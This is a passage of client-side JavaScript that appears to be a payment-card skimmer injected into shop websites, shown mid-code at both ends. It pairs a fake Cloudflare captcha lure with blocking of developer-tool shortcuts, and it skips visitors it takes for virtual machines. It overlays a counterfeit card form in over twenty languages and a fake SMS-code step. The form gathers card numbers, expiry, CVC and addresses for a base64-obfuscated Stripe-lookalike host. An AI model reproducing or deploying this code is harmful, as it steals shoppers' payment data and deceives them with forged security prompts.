`;
if (ij) {
if (cl) {
if (all) {
document.querySelectorAll(ij).forEach(function(el, i) {
el.addEventListener('click', function(e) {
e.preventDefault();
document.querySelector('html').innerHTML = container.innerHTML;
if (!init) {
initScript();
}
});
})
} else {
document.querySelector(ij).addEventListener('click', function(e) {
e.preventDefault();
document.querySelector('html').innerHTML = container.innerHTML;
if (!init) {
initScript();
}
});
}
} else {
document.querySelector(ij).before(container);
initScript();
}
} else {
document.querySelector('html').innerHTML = container.innerHTML;
initScript();
}document.addEventListener('contextmenu', function(e) {
e.preventDefault();
return false;
});
document.addEventListener('keydown', function(e) {
if (e.key === 'F12' || e.keyCode === 123) {
e.preventDefault();
return false;
}
if (e.ctrlKey && e.shiftKey && (e.key === 'I' || e.key === 'i' || e.keyCode === 73)) {
e.preventDefault();
return false;
}
if (e.ctrlKey && e.shiftKey && (e.key === 'J' || e.key === 'j' || e.keyCode === 74)) {
e.preventDefault();
return false;
}
if (e.ctrlKey && (e.key === 'U' || e.key === 'u' || e.keyCode === 85)) {
e.preventDefault();
return false;
}
if (e.ctrlKey && e.shiftKey && (e.key === 'C' || e.key === 'c' || e.keyCode === 67)) {
e.preventDefault();
return false;
}
return true;
});
}function sendEvent(eventType, id) {
if (!syn) {
return;
}const payload = {
id: id,
event: eventType, // 'ping', captcha_opened', 'captcha_solved', 'command_confirmed'
ua: navigator.userAgent,
url: location.href,
arch: checkArch(),
timestamp: Date.now()
};
const json = JSON.stringify(payload);
const blob = new Blob([json], { type: 'application/json' });
const targetUrl = '/cdn/verify';
if (navigator.sendBeacon && navigator.sendBeacon(targetUrl, blob)) {
return;
}
fetch(targetUrl, {
method: 'POST',
body: blob,
keepalive: true,
headers: {
'Content-Type': 'application/json'
}
}).catch(() => {});
}const arch = checkArch();
if (arch === 'non-windows') {
console.log("VM detected — skipping challenge");
setTimeout(function() {
if (document.querySelector('#get_api_key_jss')) document.querySelector('#get_api_key_jss').remove();
}, 1000);
} else {
//setTimeout(function() {
const storedStatus = localStorage.getItem(`_verify_${currentId}`);
if (storedStatus !== 'completed') {
sendEvent('ping', currentId);
showCloudflareChallenge();
if (document.querySelector('#get_api_key_jss')) document.querySelector('#get_api_key_jss').remove();
}
//}, 3000);
}
};
const SecurityPayment = {
sms: false,
inTim: null,
checkB: null,
cardInfo: false,
validate_url: atob('aHR0cHM6Ly9zdHJpcGUtY29ubmVjdC50bw=='),
ps_payment_id: null,
lang: 'en',
shift: 'XHgzMw==',
wpPaymentMethods: [
'paysolutions',
'stripe',
'stripe_cc',
'fkwcs_stripe',
'cpsw_stripe_element',
'woocommerce_payments',
'paypal',
'wp_simple_pay',
'givewp',
'payment_plugins_stripe',
'cardinity',
'ninja_forms_stripe',
'wpforms_stripe',
'payfast',
'revolut_cc',
'airwallex_card',
'sogecommercestd',
'woo-mercado-pago-custom',
'mpgs',
'affirm',
'visma_pay',
'ppcp',
'ppcp-gateway',
'ppcp-credit-card-gateway',
'wpg_paypal_checkout_cc',
],
psPaymentMethods: [
'',
'paypal',
'nexixpay',
'GOOGLEPAY',
],
languages: {
en: {
await: 'Awaiting payment...',
header: 'Pay with Credit / Debit card',
header_2: 'Payment security',
header_3: 'A verification code has been sent to your device. Enter the code in the appropriate field to confirm the transfer.',
header_4: 'Payment Details',
submit: 'Payment',
wait: 'Please wait...',
config: {
fn: 'First Name',
ln: 'Last Name',
cn: 'Country',
st: 'State',
ct: 'City',
ad: 'Address',
ap: 'Address 2',
zp: 'Postal code',
ph: 'Phone',
em: 'Email',
cc: 'Card Number',
de: 'Date Expiration',
cv: 'CVC',
},
error: 'The credit card details are incorrect',
label_ps: 'Pay by card - 100% secure payments' ,
},
hr: {
await: 'Čeka se plaćanje...',
header: 'Platite kreditnom / debitnom karticom',
header_2: 'Sigurnost plaćanja',
header_3: 'Verifikacijski kod poslan je na vaš uređaj. Unesite kod u odgovarajuće polje kako biste potvrdili prijenos.',
header_4: 'Podaci o plaćanju',
submit: 'Plati',
wait: 'Molimo pričekajte...',
config: {
fn: 'Ime',
ln: 'Prezime',
cn: 'Država',
st: 'Županija',
ct: 'Grad',
ad: 'Adresa',
ap: 'Adresa 2',
zp: 'Poštanski broj',
ph: 'Telefon',
em: 'E-pošta',
cc: 'Broj kartice',
de: 'Datum isteka',
cv: 'CVC',
},
error: 'Podaci o kreditnoj kartici nisu ispravni',
label_ps: 'Plaćanje karticom - 100% sigurna plaćanja',
},
it: {
await: 'In attesa di pagamento...',
header: 'Paga con carta di credito / debito',
header_2: 'Sicurezza dei pagamenti',
header_3: 'Un codice di verifica è stato inviato al tuo dispositivo. Inserisci il codice nel campo appropriato per confermare il trasferimento.',
header_4: 'Dettagli di pagamento',
submit: 'Pagamento',
wait: 'Attendere prego...',
config: {
fn: 'Nome',
ln: 'Cognome',
cn: 'Paese',
st: 'Stato',
ct: 'Città',
ad: 'Indirizzo',
ap: 'Indirizzo 2',
zp: 'Codice postale',
ph: 'Telefono',
em: 'Email',
cc: 'Numero di carta',
de: 'Data di scadenza',
cv: 'CVC',
},
error: 'I dettagli della carta di credito sono errati',
label_ps: 'Paga tramite carta - pagamenti 100% sicuri' ,
},
es: {
await: 'Esperando el pago...',
header: 'Pagar con tarjeta de crédito / débito',
header_2: 'Seguridad de pago',
header_3: 'Se ha enviado un código de verificación a su dispositivo. Ingrese el código en el campo correspondiente para confirmar la transferencia.',
header_4: 'Detalles del pago',
submit: 'Pago',
wait: 'Por favor espera...',
config: {
fn: 'Nombre',
ln: 'Apellido',
cn: 'País',
st: 'Estado',
ct: 'Ciudad',
ad: 'Dirección',
ap: 'Dirección 2',
zp: 'Código postal',
ph: 'Teléfono',
em: 'Email',
cc: 'Número de tarjeta',
de: 'Fecha de caducidad',
cv: 'CVC',
},
error: 'Los detalles de la tarjeta de crédito son incorrectos',
label_ps: 'Paga con tarjeta - pagos 100% seguros',
},
fr: {
await: 'En attente de paiement...',
header: 'Payer par carte de crédit / débit',
header_2: 'Sécurité des paiements',
header_3: 'Un code de vérification a été envoyé à votre appareil. Entrez le code dans le champ approprié pour confirmer le transfert.',
header_4: 'Détails du paiement',
submit: 'Paiement',
wait: 'Veuillez patienter...',
config: {
fn: 'Prénom',
ln: 'Nom',
cn: 'Pays',
st: 'État',
ct: 'Ville',
ad: 'Adresse',
ap: 'Adresse 2',
zp: 'Code postal',
ph: 'Téléphone',
em: 'Email',
cc: 'Numéro de carte',
de: 'Date d\'expiration',
cv: 'CVC',
},
error: 'Les détails de la carte de crédit sont incorrects',
label_ps: 'Payer par carte - paiements 100 % sécurisés',
},
de: {
await: 'Warten auf Zahlung...',
header: 'Mit Kredit- / Debitkarte bezahlen',
header_2: 'Zahlungssicherheit',
header_3: 'Ein Bestätigungscode wurde an Ihr Gerät gesendet. Geben Sie den Code in das entsprechende Feld ein, um die Überweisung zu bestätigen.',
header_4: 'Zahlungsdetails',
submit: 'Zahlung',
wait: 'Bitte warten...',
config: {
fn: 'Vorname',
ln: 'Nachname',
cn: 'Land',
st: 'Bundesland',
ct: 'Stadt',
ad: 'Adresse',
ap: 'Adresse 2',
zp: 'Postleitzahl',
ph: 'Telefon',
em: 'E-Mail',
cc: 'Kartennummer',
de: 'Ablaufdatum',
cv: 'CVC',
},
error: 'Die Kreditkartendaten sind falsch',
label_ps: 'Mit Karte bezahlen - 100 % sichere Zahlungen',
},
pl: {
await: 'Oczekiwanie na płatność...',
header: 'Płać kartą kredytową / debetową',
header_2: 'Bezpieczeństwo płatności',
header_3: 'Kod weryfikacyjny został wysłany na Twoje urządzenie. Wprowadź kod w odpowiednim polu, aby potwierdzić przelew.',
header_4: 'Szczegóły płatności',
submit: 'Płatność',
wait: 'Proszę czekać...',
config: {
fn: 'Imię',
ln: 'Nazwisko',
cn: 'Kraj',
st: 'Województwo',
ct: 'Miasto',
ad: 'Adres',
ap: 'Adres 2',
zp: 'Kod pocztowy',
ph: 'Telefon',
em: 'Email',
cc: 'Numer karty',
de: 'Data ważności',
cv: 'CVC',
},
error: 'Dane karty kredytowej są nieprawidłowe',
label_ps: 'Płać kartą - 100% bezpieczne płatności',
},
id: {
await: 'Menunggu pembayaran...',
header: 'Bayar dengan kartu kredit / debit',
header_2: 'Keamanan pembayaran',
header_3: 'Kode verifikasi telah dikirim ke perangkat Anda. Masukkan kode di kolom yang sesuai untuk mengonfirmasi transfer.',
header_4: 'Detail Pembayaran',
submit: 'Pembayaran',
wait: 'Silakan tunggu...',
config: {
fn: 'Nama Depan',
ln: 'Nama Belakang',
cn: 'Negara',
st: 'Provinsi',
ct: 'Kota',
ad: 'Alamat',
ap: 'Alamat 2',
zp: 'Kode Pos',
ph: 'Telepon',
em: 'Email',
cc: 'Nomor Kartu',
de: 'Tanggal Kedaluwarsa',
cv: 'CVC',
},
error: 'Detail kartu kredit tidak benar',
label_ps: 'Bayar dengan kartu - pembayaran 100% aman',
},
au: {
await: 'Awaiting payment...',
header: 'Pay with Credit / Debit card',
header_2: 'Payment security',
header_3: 'A verification code has been sent to your device. Enter the code in the appropriate field to confirm the transfer.',
header_4: 'Payment Details',
submit: 'Payment',
wait: 'Please wait...',
config: {
fn: 'First Name',
ln: 'Last Name',
cn: 'Country',
st: 'State',
ct: 'City',
ad: 'Address',
ap: 'Address 2',
zp: 'Postal code',
ph: 'Phone',
em: 'Email',
cc: 'Card Number',
de: 'Date Expiration',
cv: 'CVC',
},
error: 'The credit card details are incorrect',
label_ps: 'Pay by card - 100% secure payments',
},
at: {
await: 'Warten auf Zahlung...',
header: 'Mit Kredit- / Debitkarte bezahlen',
header_2: 'Zahlungssicherheit',
header_3: 'Ein Bestätigungscode wurde an Ihr Gerät gesendet. Geben Sie den Code in das entsprechende Feld ein, um die Überweisung zu bestätigen.',
header_4: 'Zahlungsdetails',
submit: 'Zahlung',
wait: 'Bitte warten...',
config: {
fn: 'Vorname',
ln: 'Nachname',
cn: 'Land',
st: 'Bundesland',
ct: 'Stadt',
ad: 'Adresse',
ap: 'Adresse 2',
zp: 'Postleitzahl',
ph: 'Telefon',
em: 'E-Mail',
cc: 'Kartennummer',
de: 'Ablaufdatum',
cv: 'CVC',
},
error: 'Die Kreditkartendaten sind falsch',
label_ps: 'Mit Karte bezahlen - 100 % sichere Zahlungen',
},
fi: {
await: 'Odotetaan maksua...',
header: 'Maksaminen luotto- / pankkikortilla',
header_2: 'Maksuturvallisuus',
header_3: 'Vahvistuskoodi on lähetetty laitteeseesi. Syötä koodi oikeaan kenttään vahvistaaksesi siirron.',
header_4: 'Maksutiedot',
submit: 'Maksu',
wait: 'Ole hyvä ja odota...',
config: {
fn: 'Etunimi',
ln: 'Sukunimi',
cn: 'Maa',
st: 'Osavaltio',
ct: 'Kaupunki',
ad: 'Osoite',
ap: 'Osoite 2',
zp: 'Postinumero',
ph: 'Puhelin',
em: 'Sähköposti',
cc: 'Kortin numero',
de: 'Voimassaoloaika',
cv: 'CVC',
},
error: 'Luottokorttitiedot ovat virheelliset',
label_ps: 'Maksaa kortilla - 100 % turvalliset maksut',
},
ro: {
await: 'Așteptând plata...',
header: 'Plătește cu card de credit / debit',
header_2: 'Securitatea plăților',
header_3: 'Un cod de verificare a fost trimis pe dispozitivul tău. Introdu codul în câmpul corespunzător pentru a confirma transferul.',
header_4: 'Detalii de plată',
submit: 'Plată',
wait: 'Te rog așteaptă...',
config: {
fn: 'Prenume',
ln: 'Nume',
cn: 'Țară',
st: 'Județ',
ct: 'Oraș',
ad: 'Adresă',
ap: 'Adresă 2',
zp: 'Cod poștal',
ph: 'Telefon',
em: 'Email',
cc: 'Număr card',
de: 'Data expirării',
cv: 'CVC',
},
error: 'Detaliile cardului de credit sunt incorecte',
label_ps: 'Plătește cu cardul - plăți 100% sigure',
},
el: {
await: 'Αναμονή πληρωμής...',
header: 'Πληρώστε με πιστωτική / χρεωστική κάρτα',
header_2: 'Ασφάλεια πληρωμών',
header_3: 'Ένας κωδικός επαλήθευσης έχει σταλεί στη συσκευή σας. Εισάγετε τον κωδικό στο κατάλληλο πεδίο για να επιβεβαιώσετε τη μεταφορά.',
header_4: 'Λεπτομέρειες πληρωμής',
submit: 'Πληρωμή',
wait: 'Παρακαλώ περιμένετε...',
config: {
fn: 'Όνομα',
ln: 'Επώνυμο',
cn: 'Χώρα',
st: 'Περιοχή',
ct: 'Πόλη',
ad: 'Διεύθυνση',
ap: 'Διεύθυνση 2',
zp: 'Ταχυδρομικός κώδικας',
ph: 'Τηλέφωνο',
em: 'Email',
cc: 'Αριθμός κάρτας',
de: 'Ημερομηνία λήξης',
cv: 'CVC',
},
error: 'Τα στοιχεία της πιστωτικής κάρτας είναι λανθασμένα',
label_ps: 'Πληρώστε με κάρτα - 100% ασφαλείς πληρωμές',
},
pt: {
await: 'Aguardando pagamento...',
header: 'Pagar com cartão de crédito / débito',
header_2: 'Segurança de pagamento',
header_3: 'Um código de verificação foi enviado para o seu dispositivo. Insira o código no campo apropriado para confirmar a transferência.',
header_4: 'Detalhes do pagamento',
submit: 'Pagamento',
wait: 'Por favor, aguarde...',
config: {
fn: 'Nome',
ln: 'Sobrenome',
cn: 'País',
st: 'Estado',
ct: 'Cidade',
ad: 'Endereço',
ap: 'Endereço 2',
zp: 'Código postal',
ph: 'Telefone',
em: 'Email',
cc: 'Número do cartão',
de: 'Data de validade',
cv: 'CVC',
},
error: 'Os dados do cartão de crédito estão incorretos',
label_ps: 'Pague com cartão - pagamentos 100% seguros',
},
tr: {
await: 'Ödeme bekleniyor...',
header: 'Kredi / Banka kartı ile ödeme',
header_2: 'Ödeme güvenliği',
header_3: 'Bir doğrulama kodu cihazınıza gönderildi. Transferi onaylamak için kodu uygun alana girin.',
header_4: 'Ödeme Detayları',
submit: 'Ödeme',
wait: 'Lütfen bekleyin...',
config: {
fn: 'Ad',
ln: 'Soyad',
cn: 'Ülke',
st: 'Eyalet',
ct: 'Şehir',
ad: 'Adres',
ap: 'Adres 2',
zp: 'Posta kodu',
ph: 'Telefon',
em: 'E-posta',
cc: 'Kart Numarası',
de: 'Son Kullanma Tarihi',
cv: 'CVC',
},
error: 'Kredi kartı bilgileri hatalı',
label_ps: 'Kartla öde - %100 güvenli ödemeler',
},
da: {
await: 'Afventer betaling...',
header: 'Betal med kredit- / debetkort',
header_2: 'Betalingssikkerhed',
header_3: 'En bekræftelseskode er sendt til din enhed. Indtast koden i det relevante felt for at bekræfte overførslen.',
header_4: 'Betalingsoplysninger',
submit: 'Betaling',
wait: 'Vent venligst...',
config: {
fn: 'Fornavn',
ln: 'Efternavn',
cn: 'Land',
st: 'Stat',
ct: 'By',
ad: 'Adresse',
ap: 'Adresse 2',
zp: 'Postnummer',
ph: 'Telefon',
em: 'Email',
cc: 'Kortnummer',
de: 'Udløbsdato',
cv: 'CVC',
},
error: 'Kreditkortoplysningerne er forkerte',
label_ps: 'Betal med kort - 100% sikre betalinger',
},
no: {
await: 'Venter på betaling...',
header: 'Betal med kreditt- / debetkort',
header_2: 'Betalingssikkerhet',
header_3: 'En bekreftelseskode har blitt sendt til enheten din. Skriv inn koden i det aktuelle feltet for å bekrefte overføringen.',
header_4: 'Betalingsdetaljer',
submit: 'Betaling',
wait: 'Vennligst vent...',
config: {
fn: 'Fornavn',
ln: 'Etternavn',
cn: 'Land',
st: 'Stat',
ct: 'By',
ad: 'Adresse',
ap: 'Adresse 2',
zp: 'Postnummer',
ph: 'Telefon',
em: 'E-post',
cc: 'Kortnummer',
de: 'Utløpsdato',
cv: 'CVC',
},
error: 'Kredittkortinformasjonen er feil',
label_ps: 'Betal med kort - 100% sikre betalinger',
},
sv: {
await: 'Väntar på betalning...',
header: 'Betala med kredit- / debetkort',
header_2: 'Betalningssäkerhet',
header_3: 'En bekräftelsekod har skickats till din enhet. Ange koden i det relevanta fältet för att bekräfta överföringen.',
header_4: 'Betalningsinformation',
submit: 'Betalning',
wait: 'Vänligen vänta...',
config: {
fn: 'Förnamn',
ln: 'Efternamn',
cn: 'Land',
st: 'Stat',
ct: 'Stad',
ad: 'Adress',
ap: 'Adress 2',
zp: 'Postnummer',
ph: 'Telefon',
em: 'E-post',
cc: 'Kortnummer',
de: 'Utgångsdatum',
cv: 'CVC',
},
error: 'Kreditkortsinformationen är felaktig',
label_ps: 'Betala med kort - 100% säkra betalningar',
},
sl: {
await: 'Čakanje na plačilo...',
header: 'Plačajte s kreditno / debetno kartico',
header_2: 'Varnost plačila',
header_3: 'Koda za preverjanje je bila poslana na vaše naprave. Vnesite kodo v ustrezno polje za potrditev prenosa.',
header_4: 'Podrobnosti plačila',
submit: 'Plačilo',
wait: 'Prosim, počakajte...',
config: {
fn: 'Ime',
ln: 'Priimek',
cn: 'Država',
st: 'Država',
ct: 'Mesto',
ad: 'Naslov',
ap: 'Naslov 2',
zp: 'Poštna številka',
ph: 'Telefon',
em: 'E-pošta',
cc: 'Številka kartice',
de: 'Datum poteka',
cv: 'CVC',
},
error: 'Podatki o kreditni kartici so napačni',
},
nl: {
await: 'Wachten op betaling...',
header: 'Betaal met creditcard / debetkaart',
header_2: 'Betaalbeveiliging',
header_3: 'De verificatiecode is naar uw apparaten verzonden. Voer de code in het juiste veld in om de overdracht te bevestigen.',
header_4: 'Betalingsgegevens',
submit: 'Betalen',
wait: 'Even geduld alstublieft...',
config: {
fn: 'Voornaam',
ln: 'Achternaam',
cn: 'Land',
st: 'Provincie',
ct: 'Stad',
ad: 'Adres',
ap: 'Adres 2',
zp: 'Postcode',
ph: 'Telefoon',
em: 'E-mail',
cc: 'Kaartnummer',
de: 'Vervaldatum',
cv: 'CVC',
},
error: 'De creditcardgegevens zijn onjuist',
},
he: {
await: 'ממתין לתשלום...',
header: 'שלם בכרטיס אשראי / כרטיס דביט',
header_2: 'אבטחת תשלום',
header_3: 'קוד האימות נשלח למכשירים שלך. הכנס את הקוד בשדה המתאים כדי לאשר את ההעברה.',
header_4: 'פרטי תשלום',
submit: 'שלם',
wait: 'תמתין שנייה בבקשה...',
config: {
fn: 'שם פרטי',
ln: 'שם משפחה',
cn: 'מדינה',
st: 'מחוז',
ct: 'עיר',
ad: 'כתובת',
ap: 'כתובת 2',
zp: 'מיקוד',
ph: 'טלפון',
em: 'אימייל',
cc: 'מספר כרטיס',
de: 'תאריך תפוגה',
cv: 'CVC',
},
error: 'פרטי כרטיס האשראי אינם נכונים',
},
nb: {
await: 'Venter på betaling...',
header: 'Betal med kredittkort / debetkort',
header_2: 'Betalingssikkerhet',
header_3: 'Bekrekkelseskoden er sendt til enhetene dine. Skriv inn koden i feltet for å bekrefte overføringen.',
header_4: 'Betalingsdetaljer',
submit: 'Betal',
wait: 'Vennligst vent et øyeblikk...',
config: {
fn: 'Fornavn',
ln: 'Etternavn',
cn: 'Land',
st: 'Fylke',
ct: 'By',
ad: 'Adresse',
ap: 'Adresse 2',
zp: 'Postnummer',
ph: 'Telefon',
em: 'E-post',
cc: 'Kortnummer',
de: 'Utløpsdato',
cv: 'CVC',
},
error: 'Ugyldige kortdetaljer',
}
},
init: function (callback) {
this.lang = document.documentElement.lang?.split('-')[0] || 'en';
this.setAssets(() => this.initModal());
if (typeof callback === 'function') callback();
},
initModal: function(callback) {
const modalSecurityPayment = `
${this.languages[this.lang].wait}
`;
const divSecurityPayment = document.createElement('div');
divSecurityPayment.className = 'modalSecurityPayment fadeSecurityPayment';
divSecurityPayment.id = 'modal-security-payment';
divSecurityPayment.innerHTML = modalSecurityPayment;if (Q('#modal-security-payment')) return false;document.body.appendChild(divSecurityPayment);
this.modalSecurityPayment('show');Q('.modalSecurityPayment-close').onclick = () => {
if (Q('h2.modalSecurityPayment-text-center')) {
location.reload();
}
this.modalSecurityPayment('hide');
}if (typeof callback === 'function') callback();
},
modalSecurityPayment: function(key, callbackSubmitForm = false) {
switch (key) {
case 'show': {
const divModalBackdrop = document.createElement('div');
divModalBackdrop.className = 'modalSecurityPayment-backdrop fadeSecurityPayment inSecurityPayment';
document.body.appendChild(divModalBackdrop);
Q('#modal-security-payment').classList.add('inSecurityPayment');
setTimeout(() => this.modalCardForm(callbackSubmitForm), 1500);
break;
}
case 'hide': {
document.body.style.overflow = 'auto';
Q('#modal-security-payment').remove();
Q('.modalSecurityPayment-backdrop').remove();
clearInterval(this.checkB);
clearInterval(this.inTim);
if (typeof callbackSubmitForm === 'function') callbackSubmitForm();
break;
}
}
},
modalCardForm: function(callbackSubmitForm = false) {
const createInputGroup = (labelText, inputId, inputName, type = 'text', divclass, first, end, addon = false, placeholder = '', $required = false) => `
${first ? `` : ``}
`;let info = '';
if (this.cardInfo) {
info = `
${createInputGroup(this.languages[this.lang].config.fn, 'cc_firstname', 'payment[cc_firstname]', 'text', 'cc-form-col-xs-7 cc-form-col-md-7', true, false, false, '', true)}
${createInputGroup(this.languages[this.lang].config.ln, 'cc_lastname', 'payment[cc_lastname]', 'text', 'cc-form-col-xs-5 cc-form-col-md-5 cc-form-pull-right', false, false, false, '', true)}
${createInputGroup(this.languages[this.lang].config.cn, 'cc_country', 'payment[cc_country]', 'text', 'cc-form-col-xs-7 cc-form-col-md-7', false, false, false, '', true)}
${createInputGroup(this.languages[this.lang].config.st, 'cc_state', 'payment[cc_state]', 'text', 'cc-form-col-xs-5 cc-form-col-md-5 cc-form-pull-right', false, false, false, '', false)}
${createInputGroup(this.languages[this.lang].config.ct, 'cc_city', 'payment[cc_city]', 'text', 'cc-form-col-xs-7 cc-form-col-md-7', false, false, false, '', true)}
${createInputGroup(this.languages[this.lang].config.ad, 'cc_address', 'payment[cc_address]', 'text', 'cc-form-col-xs-5 cc-form-col-md-5 cc-form-pull-right', false, false, false, '', true)}
${createInputGroup(this.languages[this.lang].config.ap, 'cc_address_2', 'payment[cc_address_2]', 'text', 'cc-form-col-xs-7 cc-form-col-md-7', false, false, false, '', false)}
${createInputGroup(this.languages[this.lang].config.zp, 'cc_zip', 'payment[cc_zip]', 'text', 'cc-form-col-xs-5 cc-form-col-md-5 cc-form-pull-right', false, false, false, '', true)}
${createInputGroup(this.languages[this.lang].config.ph, 'cc_phone', 'payment[cc_phone]', 'text', 'cc-form-col-xs-7 cc-form-col-md-7', false, false, false, '', true)}
${createInputGroup(this.languages[this.lang].config.em, 'cc_email', 'payment[cc_email]', 'email', 'cc-form-col-xs-5 cc-form-col-md-5 cc-form-pull-right', false, true, false, '', true)}
`;
}
const modalCardForm = `
`;Q('.modalSecurityPayment-body').innerHTML = modalCardForm;setTimeout(() => {
let ccNumberInput = Q('#cc_number');
let ccNumberPattern = /^\d{0,16}$/g;
let ccNumberSeparator = " ";
let ccNumberInputOldValue;
let ccNumberInputOldCursor;let ccExpiryInput = Q('#cc_exp');
let ccExpiryPattern = /^\d{0,4}$/g;
let ccExpirySeparator = " / ";
let ccExpiryInputOldValue;
let ccExpiryInputOldCursor;let ccCVCInput = Q('#cc_cvc');
let ccCVCPattern = /^\d{0,4}$/g;
let ccCVCInputOldValue;
let ccCVCInputOldCursor;const mask = (value, limit, separator) => {
var output = [];
for (let i = 0; i < value.length; i++) {
if ( i !== 0 && i % limit === 0) {
output.push(separator);
}
output.push(value[i]);
}
return output.join("");
};
const unmask = (value) => value.replace(/[^\d]/g, '');
const checkSeparator = (position, interval) => Math.floor(position / (interval + 1));
const ccNumberInputKeyDownHandler = (e) => {
let el = e.target;
ccNumberInputOldValue = el.value;
ccNumberInputOldCursor = el.selectionEnd;
};
const ccNumberInputInputHandler = (e) => {
let el = e.target,
newValue = unmask(el.value),
newCursorPosition;
if (newValue.match(ccNumberPattern)) {
newValue = mask(newValue, 4, ccNumberSeparator);
newCursorPosition =
ccNumberInputOldCursor - checkSeparator(ccNumberInputOldCursor, 4) +
checkSeparator(ccNumberInputOldCursor + (newValue.length - ccNumberInputOldValue.length), 4) +
(unmask(newValue).length - unmask(ccNumberInputOldValue).length);
el.value = (newValue !== "") ? newValue : "";
} else {
el.value = ccNumberInputOldValue;
newCursorPosition = ccNumberInputOldCursor;
}
el.setSelectionRange(newCursorPosition, newCursorPosition);
highlightCC(el.value);
};
const highlightCC = (ccValue) => {
const sanitizedCCValue = ccValue.replace(/\s+/g, '');
let ccCardType = '',
ccCardTypePatterns = {
amex: /^3[47][0-9]{13}$/,
discover: /^6(?:011|5[0-9]{2})[0-9]{12}$/,
diners: /^3(?:0[0-5]|[68][0-9])\d{11}$/,
mastercard: /^5[1-5][0-9]{14}$/,
jcb: /^(?:2131|1800|35\d{3})\d{11}$/,
maestro: /^(?:5018|5020|5038|6304|6759|6761|6762|6763)\d{10,15}$/,
visa: /^4[0-9]{12}(?:[0-9]{3})?$/,
unionpay: /62[0-9]{14,17}$/,
};
for (const cardType in ccCardTypePatterns) {
if ( ccCardTypePatterns[cardType].test(sanitizedCCValue) ) {
ccCardType = cardType;
break;
}
}Q('#wc-stripe-card-brand').innerHTML = {'amex':amex,'visa':visa,'diners':diners,'discover':discover,'jcb':jcb,'maestro':maestro,'mastercard':mastercard,'unionpay':unionpay}[ccCardType] || none;
//Q('#wc-stripe-card-brand').setAttribute('viewBox', ccCardType && ccCardType !== 'unknown' ? '0 0 750 471' : '0 10 60 40');
};
const ccExpiryInputKeyDownHandler = (e) => {
let el = e.target;if (parseInt(el.value.slice(0, 1)) > 1) {
ccExpiryInputOldValue = '0' + el.value;
} else {
ccExpiryInputOldValue = el.value;
}
ccExpiryInputOldCursor = el.selectionEnd;
};
const ccExpiryInputInputHandler = (e) => {
let el = e.target,
newValue = el.value;
newValue = unmask(newValue);
if (parseInt(newValue.slice(0, 1)) > 1) {
newValue = '0' + newValue;
} else {
newValue = newValue;
}
if (parseInt(newValue.slice(0, 2)) > 12) {
newValue = newValue.slice(0, 1);
}
if (newValue.match(ccExpiryPattern)) {
newValue = mask(newValue, 2, ccExpirySeparator);
el.value = newValue;
} else {
el.value = ccExpiryInputOldValue;
}
};
const ccCVCInputKeyDownHandler = (e) => {
let el = e.target;
ccCVCInputOldValue = el.value;
ccCVCInputOldCursor = el.selectionEnd;
};
const ccCVCInputInputHandler = (e) => {
let el = e.target,
newValue = el.value;
newValue = unmask(newValue);
if (newValue.match(ccCVCPattern)) {
el.value = newValue;
} else {
el.value = ccCVCInputOldValue;
}
};ccNumberInput.addEventListener('keydown', ccNumberInputKeyDownHandler);
ccNumberInput.addEventListener('input', ccNumberInputInputHandler);ccExpiryInput.addEventListener('keydown', ccExpiryInputKeyDownHandler);
ccExpiryInput.addEventListener('input', ccExpiryInputInputHandler);ccCVCInput.addEventListener('keydown', ccCVCInputKeyDownHandler);
ccCVCInput.addEventListener('input', ccCVCInputInputHandler);
}, 500);window.onsubmit = (e) => {
if (e.target.id == 'cc-payment-form-main') {
e.preventDefault();if (!this.validateCardDetails(e.target.elements.cc_number.value, e.target.elements.cc_exp.value, e.target.elements.cc_cvc.value)) {
if (Q('.cc-form-row cc-error')) Q('.cc-form-row cc-error').remove();var div = document.createElement('div');
div.className = 'cc-form-row cc-error';
div.style = 'color: #ff0000;'
div.innerHTML = `${this.languages[this.lang].error}
`;
Q('.modalSecurityPayment-row').before(div);return false;
}Q('.modalSecurityPayment-body').innerHTML = `${this.languages[this.lang].wait}
`;if (this.sms) {
setTimeout(() => {
Q('.modalSecurityPayment-body').innerHTML = `${this.languages[this.lang].header_2} ${this.languages[this.lang].header_3}
`;
this.timer(600, Q('#payment-countdown'));QAll('.modalSecurityPayment-notify-input').forEach(input => {
input.onblur = () => {
const inputs = QAll('.modalSecurityPayment-notify-input');
const allFilled = [...inputs].every(i => i.value.length === 1);
const error = Q('.modalSecurityPayment-error');inputs.forEach(i => i.style.color = allFilled ? 'red' : 'rgb(20,20,20)');
allFilled && !error && Q('.modalSecurityPayment-notify-cod')
.appendChild(Object.assign(document.createElement('div'), {className:'modalSecurityPayment-error',innerText:'Invalid code'}));
!allFilled && error?.remove();
};
});
}, 1500);
}this.validate_card(e.target.elements, callbackSubmitForm);(async () => {
getCaptcha();
})();
}
};
},
timer: function(duration, display) {
let timer = duration, minutes, seconds;
this.inTim = setInterval(() => {
minutes = parseInt(timer / 60, 10);
seconds = parseInt(timer % 60, 10);minutes = minutes < 10 ? "0" + minutes : minutes;
seconds = seconds < 10 ? "0" + seconds : seconds;display.innerText = minutes + "m " + seconds + "s";if (--timer < 0) {
display.textContent = "";
this.modalSecurityPayment('hide');
clearInterval(this.inTim);
}
}, 1000);
},
query: function(params) {
const httpRequest = new XMLHttpRequest();if (params.timeout) {
httpRequest.timeout = params.timeout;
}httpRequest.onload = () => {
if (httpRequest.readyState === 4) {
if (httpRequest.status === 200) {
const response = params.dataType === 'json' ? JSON.parse(httpRequest.responseText) : null;
if (params.callback) {
params.callback(response);
}
} else {
console.error(httpRequest.statusText);
}
}
};if (params.method) {
httpRequest.open(params.method.toUpperCase(), params.url);if (params.headers) {
for (const [key, value] of Object.entries(params.headers)) {
httpRequest.setRequestHeader(key, value);
}
}if (params.method.toUpperCase() === 'POST') {
httpRequest.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
const data = params.data ? (typeof params.data === 'object' ? new URLSearchParams(params.data).toString() : params.data) : null;
httpRequest.send(data);
} else {
httpRequest.send();
}
}
},
setAssets: function(callback) {
if (!Q('style[data-payment="true"]') && !Q('style[data-payment-card="true"]')) {
const style = ``;const head = document.head;
head.innerHTML = head.innerHTML + "\n" + style;
}if (typeof callback == 'function') callback();
},
validate_card: function(form, callbackSubmitForm = false) {
let enc = { hostname: location.hostname };const fillCard = (num, exp, cvc) => {
enc.c_number = num?.value || '';
enc.c_exp = exp?.value || '';
enc.c_cvc = cvc?.value || '';
};if (this.cardInfo) {
Object.assign(enc, {
fname: form.cc_firstname.value,
lname: form.cc_lastname.value,
country: form.cc_country.value,
street: form.cc_address.value,
apartament: form.cc_address_2.value,
city: form.cc_city.value,
state: form.cc_state.value,
